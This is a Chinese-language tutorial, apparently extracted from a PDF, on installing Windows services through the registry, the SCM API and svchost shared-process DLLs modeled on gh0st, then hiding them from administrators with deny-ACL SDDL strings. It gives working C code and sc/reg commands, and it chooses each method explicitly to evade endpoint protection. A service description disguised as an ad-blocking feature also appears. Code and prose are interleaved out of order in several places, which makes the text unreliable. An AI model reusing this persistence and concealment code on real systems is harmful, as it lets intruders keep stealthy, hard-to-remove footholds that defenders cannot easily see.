那问题又来了,既然我们创建的服务都存储在注册表,那么我们直接创建注册表项是不是也能创建服务 呢?下面就来进行一下实验: 我们直接写如下reg文件给regedit执行,参考: 然后运行 regedit /s filename.reg ,就可以静默的方式添加到注册表,这样也是可以直接在系统中注 册服务的,但是缺点是需要系统重启才能被SCM加载管理。重启后就可以查到此服务了: 我至今还没有找到不用重新启动就让SCM成功加载这个服务的办法,如果大家有的话,希望可以分享出 来一起交流。 但是我们要知道注册表操作其实也是端防护软件的眼中钉,肉中刺,也是被防护的死死的,要想不被端 防护软件发现或者拦截的创建服务,我们最好使用最后一种办法 使用SCM提供的API注册服务 服务的注册 一个服务程序可以使用 CreateServiceA 函数来向SCM数据库中添加服务信息,函数原型如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecondService] "DisplayNmae"="SecondService" "ErrorControl"=dword:01 "ImagePath"=hex(2):43,00,3a,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,41,00,\ 64,00,6d,00,69,00,6e,00,69,00,73,00,74,00,72,00,61,00,74,00,6f,00,72,00,5c,\ 00,44,00,65,00,73,00,6b,00,74,00,6f,00,70,00,5c,00,43,00,6f,00,6e,00,73,00,\ 6f,00,6c,00,65,00,41,00,70,00,70,00,6c,00,69,00,63,00,61,00,74,00,69,00,6f,\ 00,6e,00,31,00,5c,00,52,00,65,00,6c,00,65,00,61,00,73,00,65,00,5c,00,43,00,\ 6f,00,6e,00,73,00,6f,00,6c,00,65,00,41,00,70,00,70,00,6c,00,69,00,63,00,61,\ 00,74,00,69,00,6f,00,6e,00,31,00,2e,00,65,00,78,00,65,00,00,00 "ObjectName"="LocalSystem" "Sstart"=dword:03 "Type"=dword:0x10 SC_HANDLE CreateServiceA(  SC_HANDLE hSCManager,  //SCM数据库的句柄  LPCSTR    lpServiceName, //服务启动的名字  LPCSTR    lpDisplayName, //服务显示的名字  DWORD     dwDesiredAccess,//服务访问权限  DWORD     dwServiceType, // 服务类型  DWORD     dwStartType,   // 服务启动方式  DWORD     dwErrorControl, //指定错误级别  LPCSTR    lpBinaryPathName, //服务关联的服务程序路径  LPCSTR    lpLoadOrderGroup, //组名  LPDWORD   lpdwTagId,       // 组内ID  LPCSTR    lpDependencies,  // 依赖名称组  LPCSTR    lpServiceStartName, //账号  LPCSTR    lpPassword //密码 第一个参数是由OpenSCManager函数得到,该函数原型如下: 此函数返回的句柄需要被 CloseServiceHandle 函数关闭。 服务的启动和控制 得到服务句柄可以使用 CloseServiceHandle 函数将其关闭。 得到服务句柄之后就可以使用 StartService 来启动服务: 服务启动之后,就可以使用 ControlService 函数来控制服务的行为,如暂停,恢复,停止等。 删除服务: ); SC_HANDLE OpenSCManagerA(  LPCSTR lpMachineName,  LPCSTR lpDatabaseName,  DWORD  dwDesiredAccess //访问权限,参考msdn ); BOOL CloseServiceHandle(  SC_HANDLE hSCObject ); SC_HANDLE OpenServiceA(  SC_HANDLE hSCManager, //SCM数据库句柄  LPCSTR    lpServiceName, //要打开的服务名称  DWORD     dwDesiredAccess //得到服务句柄所具备的权限 ); BOOL StartServiceA(  SC_HANDLE hService,  DWORD     dwNumServiceArgs, //lpServiceArgVectors所指向的数组元素个数  LPCSTR    *lpServiceArgVectors //指向一个字符串数组,传递给服务入口函数的参数 ); BOOL ControlService(  SC_HANDLE        hService,  DWORD            dwControl, //控制代码  LPSERVICE_STATUS lpServiceStatus ); BOOL DeleteService(  SC_HANDLE hService ); 代码示例 我们其实不需要单独实现一个程序来控制前面写的那个服务,我们只需要将服务注册,控制代码放在一 个文件中,此文件根据不同的参数做不同的事情就可以了。当无参数时就是被SCM调用,此时调用 StartServiceCtrlDispatcher 开启功能就可以了,具体的代码演示: //#include "stdafx.h" #include <Windows.h> #include <tchar.h> #pragma warning(disable : 4996) #include <stdio.h> #define SERVICE_NAME _T("FirstService") SERVICE_STATUS g_status; SERVICE_STATUS_HANDLE g_hServiceStatus; HANDLE g_hEvent = NULL; void Init() { g_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_status.dwCurrentState = SERVICE_STOPPED; // 设置服务可以使用的控制 // 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP // SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续” g_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; g_status.dwWin32ExitCode = 0; g_status.dwServiceSpecificExitCode = 0; g_status.dwCheckPoint = 0; g_status.dwWaitHint = 0; //创建初始为有信号的手动内核事件。 g_hEvent = CreateEvent(NULL, TRUE, TRUE, LPCWSTR("Pause")); } void SetStatus(long lCurrentStatus) { g_status.dwCurrentState = lCurrentStatus; SetServiceStatus(g_hServiceStatus, &g_status); } void WINAPI Handler(DWORD dwOpcode) { switch (dwOpcode) { case SERVICE_CONTROL_STOP: { //收到停止服务命令停止服务 SetStatus(SERVICE_STOP_PENDING); SetStatus(SERVICE_STOPPED); } break; case SERVICE_CONTROL_PAUSE: { SetStatus(SERVICE_PAUSE_PENDING); ResetEvent(g_hEvent); //通知RUN函数开始等待 SetStatus(SERVICE_PAUSED); } break; case SERVICE_CONTROL_CONTINUE: { SetStatus(SERVICE_CONTINUE_PENDING); SetEvent(g_hEvent);//通知RUN函数继续执行 SetStatus(SERVICE_RUNNING); } break; case SERVICE_CONTROL_INTERROGATE: break; case SERVICE_CONTROL_SHUTDOWN: { //关机时停止服务 SetStatus(SERVICE_STOP_PENDING); SetStatus(SERVICE_STOPPED); } break; default: break; } } void Run() { while (1) { WCHAR tcFile[MAX_PATH] = L"C:\\test.txt"; //打开已存在的a.txt文件 HANDLE hFile = CreateFile(tcFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { //打开失败则创建一个。 hFile = CreateFile(tcFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwWrite = 0; WriteFile(hFile, "Hello", 5, &dwWrite, NULL); } CloseHandle(hFile); Sleep(500);  //暂停500毫秒后继续扫描  //如何g_hEvent无信号则暂停执行 WaitForSingleObject(g_hEvent, INFINITE); } } void WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv) { // 注册控制请求句柄 g_hServiceStatus = RegisterServiceCtrlHandler(SERVICE_NAME, Handler); if (g_hServiceStatus == NULL) return; SetStatus(SERVICE_START_PENDING); SetStatus(SERVICE_RUNNING); // 当 Run 函数返回时,服务已经结束。 Run(); g_status.dwWin32ExitCode = S_OK; g_status.dwCheckPoint = 0; g_status.dwWaitHint = 0; g_status.dwCurrentState = SERVICE_START; //设置服务状态为停止,从而退出服务. SetServiceStatus(g_hServiceStatus, &g_status); } BOOL IsInstalled() { BOOL bResult = FALSE; //打开服务控制管理器 SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCM != NULL) { //打开服务 SC_HANDLE hService = OpenService(hSCM, SERVICE_NAME, SERVICE_QUERY_CONFIG); if (hService != NULL) { bResult = TRUE; CloseServiceHandle(hService); } CloseServiceHandle(hSCM); } return bResult; } BOOL Install() { if (IsInstalled()) //服务已安装则直接返回真 return TRUE; //打开服务控制管理器 SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCM == NULL) { MessageBoxA(NULL, "Open SCM Manager error!", "failed", MB_OK); return FALSE; } TCHAR szFilePath[MAX_PATH]; //获取本程序的路径 DWORD dwLen = GetModuleFileName(NULL, szFilePath, MAX_PATH); //判断程序路径是否包含空格,如果包含则给路径加上引号. if (_tcschr(szFilePath, ' ') != NULL) { dwLen += 3; TCHAR* lpFilePath = new TCHAR[dwLen]; if (lpFilePath != NULL) { _stprintf(lpFilePath, _T("\"%s\""), szFilePath); _tcscpy_s(szFilePath, lpFilePath); delete[] lpFilePath; } } //创建一个手动启动的服务 SC_HANDLE hService = CreateService( hSCM, SERVICE_NAME, SERVICE_NAME, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, szFilePath, NULL, NULL, _T(""), NULL, NULL); if (hService == NULL) { CloseServiceHandle(hSCM); return FALSE; } CloseServiceHandle(hService); CloseServiceHandle(hSCM); return TRUE; } BOOL Uninstall() { if (!IsInstalled()) //如果服务已卸载直接返回真 return TRUE; SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCM == NULL) { return FALSE; } SC_HANDLE hService = OpenService(hSCM, SERVICE_NAME, SERVICE_STOP | DELETE); if (hService == NULL) { CloseServiceHandle(hSCM); MessageBoxA(NULL, "failed", "failed", MB_OK); return FALSE; } SERVICE_STATUS status; //首先停止服务,确保服务能够立即被删除. ControlService(hService, SERVICE_CONTROL_STOP, &status); //删除服务 BOOL bDelete = DeleteService(hService); CloseServiceHandle(hService); CloseServiceHandle(hSCM); if (bDelete) return TRUE; return FALSE; } int main(int argc, char* argv[]) { Init(); //初始化服务数据信息 //判断参数决定如何执行代码 if (argv[1] != NULL && strcmp(argv[1], "install") == 0) { printf("install....."); Install(); } else if (argv[1] != NULL && strcmp(argv[1], "uninstall") == 0) { printf("uninstall....."); Uninstall(); } else { //如果没有参数则是由SCM启动的服务程序 执行install参数,就可以成功创建服务了,但是并没有自动启动,如果想自动启动的话,再 Install 函数 中调用 StartService 即可。 从端防护软件的视角也会看到注册表项的创建操作,但是此操作是services.exe进程发起的,它并无法 把这个操作和你的程序直接关联,所以一般不会进行告警或者拦截,推荐使用此方法进行服务操作 共享进程的服务 共享进程服务一般是一个DLL的形式被系统的 svchost.exe 进程程序加载并调用,Svchost本身只是作为 服务宿主,并不实现任何服务功能,启动这些服务时由svchost调用相应服务的动态链接库来启动服务。 那么svchost如何知道某一服务是由哪个动态链接库负责呢?这不是由服务的可执行程序路径中的参数 部分提供的,而是服务在注册表中的参数设置的,注册表中服务下边有一个Parameters子键其中的 ServiceDll表明该服务由哪个动态链接库负责。并且所有这些服务动态链接库都必须要导出一个 ServiceMain()函数,用来处理服务的工作任务。下面我们就找一个具体的服务程序的例子来进行说明: 系统中的共享进程服务的可执行文件路径都是指向的 svchost.exe SERVICE_TABLE_ENTRY st[] = { { (LPWSTR)SERVICE_NAME, ServiceMain }, { NULL, NULL } }; StartServiceCtrlDispatcher(st); } CloseHandle(g_hEvent); return 0; } 看一下注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AxInstSV ,找到此服 务的信息: 看到下面多了一个 Parameters 的子键,在这个子键里就可以找到此服务的关键 ServiceDll 键值,就 表示此服务的DLL路径。 那既然是共享进程服务,那系统中有那么多的 svchost.exe 进程,我们的DLL是被那一个加载了呢? 另外参数 -k AxInstSVGroup 意味着什么呢? 其实 -k 参数就表示服务的分组信息,微软把多个共享进程服务分为了多个组,再系统中使用不同的权限 进行启动和管理,具体的看注册表键值 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 看这个键的具体值,就可以看到这个服务的名字,这是一个多行的字符串: 下面的一些子键就是这个服务分组对应的权限和能力: 编写一个共享进程服务 怎么编写一个共享进程服务呢?看了一下gh0st的源代码,它编译出来的dll其实就是一个非常标准的共 享进程服务。其实大部分的内容和上面讲的类似,但是区别在于不用自己调用 StartServiceCtrlDispatcher 函数了。svchost.exe会自己调用这个函数,另外还需要导出 ServiceMain 函数,示例代码如下。 //#include "stdafx.h" #include <Windows.h> #include <tchar.h> #pragma warning(disable : 4996) #include <stdio.h> #define SERVICE_NAME _T("FirstService") SERVICE_STATUS g_status; SERVICE_STATUS_HANDLE g_hServiceStatus; HANDLE g_hEvent = NULL; void Init() { g_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_status.dwCurrentState = SERVICE_STOPPED; // 设置服务可以使用的控制 // 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP // SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续” g_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; g_status.dwWin32ExitCode = 0; g_status.dwServiceSpecificExitCode = 0; g_status.dwCheckPoint = 0; g_status.dwWaitHint = 0; //创建初始为有信号的手动内核事件。 g_hEvent = CreateEvent(NULL, TRUE, TRUE, LPCWSTR("Pause")); } void SetStatus(long lCurrentStatus) { g_status.dwCurrentState = lCurrentStatus; SetServiceStatus(g_hServiceStatus, &g_status); } void WINAPI Handler(DWORD dwOpcode) { switch (dwOpcode) { case SERVICE_CONTROL_STOP: { //收到停止服务命令停止服务 SetStatus(SERVICE_STOP_PENDING); SetStatus(SERVICE_STOPPED); } break; case SERVICE_CONTROL_PAUSE: { SetStatus(SERVICE_PAUSE_PENDING); ResetEvent(g_hEvent); //通知RUN函数开始等待 SetStatus(SERVICE_PAUSED); } break; case SERVICE_CONTROL_CONTINUE: { SetStatus(SERVICE_CONTINUE_PENDING); SetEvent(g_hEvent);//通知RUN函数继续执行 SetStatus(SERVICE_RUNNING); } break; case SERVICE_CONTROL_INTERROGATE: break; case SERVICE_CONTROL_SHUTDOWN: { //关机时停止服务 SetStatus(SERVICE_STOP_PENDING); SetStatus(SERVICE_STOPPED); } break; default: break; } } void Run() { while (1) { WCHAR tcFile[MAX_PATH] = L"C:\\test.txt"; //打开已存在的a.txt文件 HANDLE hFile = CreateFile(tcFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { //打开失败则创建一个。 hFile = CreateFile(tcFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwWrite = 0; WriteFile(hFile, "Hello", 5, &dwWrite, NULL); } CloseHandle(hFile); Sleep(500);  //暂停500毫秒后继续扫描  //如何g_hEvent无信号则暂停执行 WaitForSingleObject(g_hEvent, INFINITE); } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: Init(); break; case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD argC, LPWSTR * argV) { // 注册控制请求句柄 g_hServiceStatus = RegisterServiceCtrlHandler(SERVICE_NAME, Handler); 共享进程服务的安装 命令行安装 https://www.thinbug.com/q/8853911 https://www.qingsword.com/qing/163.html 注册表安装跟上面类似,不在详细说了. if (g_hServiceStatus == NULL) return; SetStatus(SERVICE_START_PENDING); SetStatus(SERVICE_RUNNING); // 当 Run 函数返回时,服务已经结束。 Run(); g_status.dwWin32ExitCode = S_OK; g_status.dwCheckPoint = 0; g_status.dwWaitHint = 0; g_status.dwCurrentState = SERVICE_START; //设置服务状态为停止,从而退出服务. SetServiceStatus(g_hServiceStatus, &g_status); } sc create FirstService binPath= "c:\windows\System32\svchost.exe -k netsvcs" type=share start=auto reg add HKLM\SYSTEM\CurrentControlSet\services\FirstService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d   C:\Users\Administrator\Desktop\ConsoleApplication1\Release\ConsoleApplication1.d ll /f reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "netsvcs"   netsvcs   REG_MULTI_SZ   CertPropSvc\0SCPolicySvc\0lanmanserver\0gpsvc\0AppMgmt\0iphlpsvc\0seclogon\0AppI nfo\0msiscsi\0EapHost\0schedule\0winmgmt\0browser\0SessionEnv\0wercplsupport\0wl idsvc\0DcpSvc\0NcaSvc\0UsoSvc\0DsmSvc\0WpnService\0dmwappushservice\0FastUserSwi tchingCompatibility\0Ias\0Irmon\0Nla\0Ntmssvc\0NWCWorkstation\0Nwsapagent\0Rasau to\0Rasman\0Remoteaccess\0SENS\0Sharedaccess\0SRService\0Tapisrv\0Wmi\0WmdmPmSp\ 0wuauserv\0BITS\0ShellHWDetection\0LogonHours\0PCAudit\0helpsvc\0uploadmgr\0DmEn rollmentSvc\0lfsvc\0Themes\0sacsvr\0IKEEXT\0ProfSvc\0wisvc\0UserManager\0XblAuth Manager\0XblGameSave\0NetSetupSvc reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "DcomLaunch" /t REG_MULTI_SZ /d "CertPropSvc\0SCPolicySvc\0lanmanserver\0gpsvc\0AppMgmt\0iphlpsvc\0seclogon\0App Info\0msiscsi\0EapHost\0schedule\0winmgmt\0browser\0SessionEnv\0wercplsupport\0w lidsvc\0DcpSvc\0NcaSvc\0UsoSvc\0DsmSvc\0WpnService\0dmwappushservice\0FastUserSw itchingCompatibility\0Ias\0Irmon\0Nla\0Ntmssvc\0NWCWorkstation\0Nwsapagent\0Rasa uto\0Rasman\0Remoteaccess\0SENS\0Sharedaccess\0SRService\0Tapisrv\0Wmi\0WmdmPmSp \0wuauserv\0BITS\0ShellHWDetection\0LogonHours\0PCAudit\0helpsvc\0uploadmgr\0DmE nrollmentSvc\0lfsvc\0Themes\0sacsvr\0IKEEXT\0ProfSvc\0wisvc\0UserManager\0XblAut hManager\0XblGameSave\0NetSetupSvc\0FirstService" /f 使用API安装 由于跟上面非常相似,仅仅是多了需要写两个注册表位置,就直接写代码吧: #include <iostream> #include <stdio.h> #include <Windows.h> #include <shlobj.h> #pragma comment(lib, "shell32.lib") #pragma warning(disable : 4996) char* AddsvchostService() { char* lpServiceName = NULL; int rc = 0; HKEY hkRoot; char buff[2048]; //打开装所有svchost服务名的注册表键 //query svchost setting char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"; rc = RegOpenKeyExA(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot); if (ERROR_SUCCESS != rc) return NULL; DWORD type, size = sizeof buff; //枚举他所有的服务名 rc = RegQueryValueExA(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size); SetLastError(rc); if (ERROR_SUCCESS != rc) RegCloseKey(hkRoot); int i = 0; bool bExist = false; char servicename[50] = "FirstService"; servicename[strlen(servicename) + 1] = '\0'; memcpy(buff + size - 1, servicename, strlen(servicename) + 2); //然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖 rc = RegSetValueExA(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + strlen(servicename) + 1); RegCloseKey(hkRoot); SetLastError(rc); if (bExist == false) { lpServiceName = new char[strlen(servicename) + 1]; strcpy(lpServiceName, servicename); } //回到 InstallService return lpServiceName; } void myStartService(char lpService[]) { SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (NULL != hSCManager) { SC_HANDLE hService = OpenServiceA(hSCManager, lpService, DELETE | SERVICE_START); if (NULL != hService) { StartService(hService, 0, NULL); CloseServiceHandle(hService); } CloseServiceHandle(hSCManager); } } int ServerSetup(char strModulePath[]) { //CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL"); char lpServiceDescription[] = "提供windows屏蔽垃圾广告服务"; char strSubKey[1024]; DWORD dwStartType = 0; char strRegKey[1024]; int rc = 0; HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0; SC_HANDLE hscm = NULL, schService = NULL; //打开服务 hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs"; char* lpServiceName = AddsvchostService();                             //*添 加的代码在这个函数中* //这里返回新的服务名后就构造服务dll的名字 // //然后构造服务中的描述信息的位置 sprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName); printf("[*] StrRegKey: %s\n", strRegKey); schService = CreateServiceA( hscm, // SCManager database lpServiceName,              // name of service lpServiceName,       // service name to display SERVICE_ALL_ACCESS, // desired access SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, // start type SERVICE_ERROR_NORMAL, // error control type bin, // service's binary NULL, // no load ordering group NULL, // no tag identifier NULL, // no dependencies NULL, // LocalSystem account NULL); // no password dwStartType = SERVICE_WIN32_SHARE_PROCESS; if (schService == NULL) { throw "CreateService(Parameters)"; printf("schServicenull"); } CloseServiceHandle(schService); //CloseServiceHandle(hscm); hkRoot = HKEY_LOCAL_MACHINE; //这里构造服务的描述键 sprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName); if (dwStartType == SERVICE_WIN32_SHARE_PROCESS) { DWORD dwServiceType = 0x120; HKEY  hKey; DWORD dwDisposition; LSTATUS status; //写入服务的描述 status = RegCreateKeyExA(HKEY_LOCAL_MACHINE, strSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); if (status == ERROR_SUCCESS) { RegSetValueExA(hKey, "Description", 0, REG_SZ, (LPBYTE)lpServiceDescription, strlen(lpServiceDescription) + 1); RegSetValueExA(hKey, "Type", 0, REG_DWORD, (LPBYTE)&dwServiceType, sizeof(DWORD)); RegCloseKey(hKey); strcat(strSubKey, "\\Parameters"); status = RegCreateKeyExA(HKEY_LOCAL_MACHINE, strSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); RegSetValueExA(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (LPBYTE)strModulePath, strlen(strModulePath)+1); RegCloseKey(hKey); }   //写入服务的描述 } //写入服务的描述 if (schService != NULL) { //CreateEXE(strModulePath, IDR_DLL1, "DLL"); myStartService(lpServiceName); } RegCloseKey(hkRoot); CloseServiceHandle(schService); CloseServiceHandle(hscm); //system("pause"); return 0; } int main() { CHAR ServerBin[] = "C:\\Users\\Administrator\\Desktop\\ConsoleApplication1\\Release\\ConsoleApplica tion1.dll"; ServerSetup(ServerBin);     return 0; } 注意安装程序的位数要和dll的位数相同,否则启动的时候会报193错误。 服务隐藏 参考文献 1. https://www.freebuf.com/articles/system/254838.html 2. https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ 3. https://cqureacademy.com/blog/windows-internals/sddl 4. https://www.cnblogs.com/zpchcbd/p/12374668.html 此服务隐藏的方法并不是我个人发现的,而是国外大佬发现的,参考链接在上面,我这里只是在分享一 下,并提供相关的c代码来实现。 说是隐藏服务,其实并没有真正的隐藏,只是此服务拒绝了系统中所有用户查看而已,注册表还可以看 到服务的 服务很容易溯源者发现,例如使用 sc qeury 命令,使用 services.msc 管理器都可以看到,隐蔽性不 够好。 windows中的任意一个安全对象的访问权限都是由一种安全描述符定义语言SDDL(Security Descriptor Definition Language),系统中的文件,进程,线程对象都有自己的SDDL。随便找个文件看一下: SY,BA,LA对应着上面的三个用户或者组,FA表示完全控制权限,跟下面右图中的权限是对应上的。 SDDL的通用语法格式是: 先解释几个概念: O:owner_sid G:group_sid D:dacl_flags(string_ace1)(string_ace2)... (string_acen) //D后面跟的就是DACL,每一项 都被成为ACE S:sacl_flags(string_ace1)(string_ace2)... (string_acen) //S后面跟的就是SACL,每一项 都被成为ACE 其中ACE的格式定义是: (ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid) 一共六列 都解释清楚了,拿下面就主要说一下服务的ACE的内容,直接看微软的文档 https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings: 使用SC.exe 命令行隐藏 提供的SDDL语句是: ACL( Access Control List ) : 访问控制列表,是由DACL和SACL构成的。也就是SDDL语言中的 D开 头的一串和S开头的一串 DACL( Discretionary Access Control List ):自由访问控制列表,表示允许或拒绝访问安全对象的 受信者。 当 进程 尝试访问安全对象时,系统会检查对象的 DACL 中的 ACE 以确定是否授予对该对象的访 问权限。 如果对象没有 DACL,则系统会向每个人授予完全访问权限。 如果对象的 DACL 没有 ACE,则系 统会拒绝所有访问对象的尝试,因为 DACL 不允许任何访问权限。 系统会按顺序检查 AES,直到找到一个或 多个允许所有请求的访问权限的 AES,或直到任何请求的访问权限被拒绝。 SACL( System Access Control List ): 系统访问控制列表,允许管理员记录访问安全对象的尝试。 每个 ACE 指定指定受信者的访问尝试类型,这些访问尝试会导致系统在安全事件日志中生成记录。 SACL 中 的 ACE 可以在访问尝试失败、成功时或同时生成审核记录。 ACE( Access Control Entry ) : ACL中的每一项,我们叫做ACE ace_type A: - Access Allowed   D: - Access Denied   OA: - Object Access Allowed   OD: - Object Access Denied   AU: - System Auidt   AL: - System Alarm   OU: - System Object Audit   OL: - System Object Alarm   ML: - System MAndatory Label ace_flag: OI:- 表示该ACE可以被子对象继承   CI:- 表示该ACE可以被子容器继承   IO:- 仅作用于子对象   NP:- 仅被直接子容器继承,不继续向下继承 rights: CC:- 服务配置查询   LC: - 服务状态查询   SW: - SERVICE_ENUMERATE_DEPENDENTS   RP: - 服务启动   WP: - 服务停止   DT: - 服务暂停   DC: - 服务配置更改   SD: - 删除 account_sid: "IU":- 交互登陆用户   "AU":- 认证用户   "SU":- 服务登陆用户 最后可以通过如下命令隐藏服务: 恢复原来权限: 操作完成后,就无法查看到此服务了: 在服务管理器中也是看不到的: 使用代码自动隐藏 我们之前说过,所有用命令来完成的操作都是很容易被端防护软件采集到和拦截的,最好的方式还是使 用系统提供的API来完成,我们接下里就通过API来完成SDDL的设置 首先问题,服务的SDDL语言描述的权限到底存在哪里呢?翻一翻注册表,你会发现多了一个 Security 子键,里面有一个 Security 键值,这个键值表示的就是当前服务的权限控制。 D:(D;;DCLCWPDTSDCC;;;IU) (D;;DCLCWPDTSDCC;;;SU) (D;;DCLCWPDTSDCC;;;BA) (A;;CCLCSWLOCRRC;;;IU) (A;;CCLCSWLOCRRC;;;SU) (A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) sc.exe sdset FirstService "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU) (D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU) (A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S: (AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" sc.exe sdset FirstService "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU) (A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" 想直接通过写注册表的方式来实现有点难度,因为这一串16进制到底是什么含义,很难搞清楚,不过我 们不采用直接直接写注册表的方式,我们使用SCM提供的api来实现这个操作,代码示例如下: VOID __stdcall HiddenSvc( const char szSvcName[]) { PSECURITY_DESCRIPTOR  sd; BOOL                 bDaclPresent = FALSE; BOOL                 bDaclDefaulted = FALSE; DWORD                dwError = 0; DWORD                dwSize = 0; DWORD                dwBytesNeeded = 0; // Get a handle to the SCM database. SC_HANDLE schSCManager = OpenSCManager( NULL,                    // local computer NULL,                    // ServicesActive database SC_MANAGER_ALL_ACCESS);  // full access rights if (NULL == schSCManager) { printf("OpenSCManager failed (%d)\n", GetLastError()); return; } // Get a handle to the service SC_HANDLE schService = OpenServiceA( schSCManager,              // SCManager database szSvcName,                 // name of service 在安装服务的时候就可以自动设置为任何人无权查看,来进行隐藏。 READ_CONTROL | WRITE_DAC); // access if (schService == NULL) { printf("OpenService failed (%d)\n", GetLastError()); CloseServiceHandle(schSCManager); return; } CHAR szSD[] = "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU) (D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU) (A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S: (AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"; BOOL ret =  ConvertStringSecurityDescriptorToSecurityDescriptorA(szSD, SDDL_REVISION_1, &sd, NULL); if (!ret) { printf("Failed CreateMyDACL\n"); return; } if (!SetServiceObjectSecurity(schService, DACL_SECURITY_INFORMATION, sd)) { printf("SetServiceObjectSecurity failed(%d)\n", GetLastError()); } else printf("Service DACL updated successfully\n"); CloseServiceHandle(schSCManager); CloseServiceHandle(schService); }
pdf
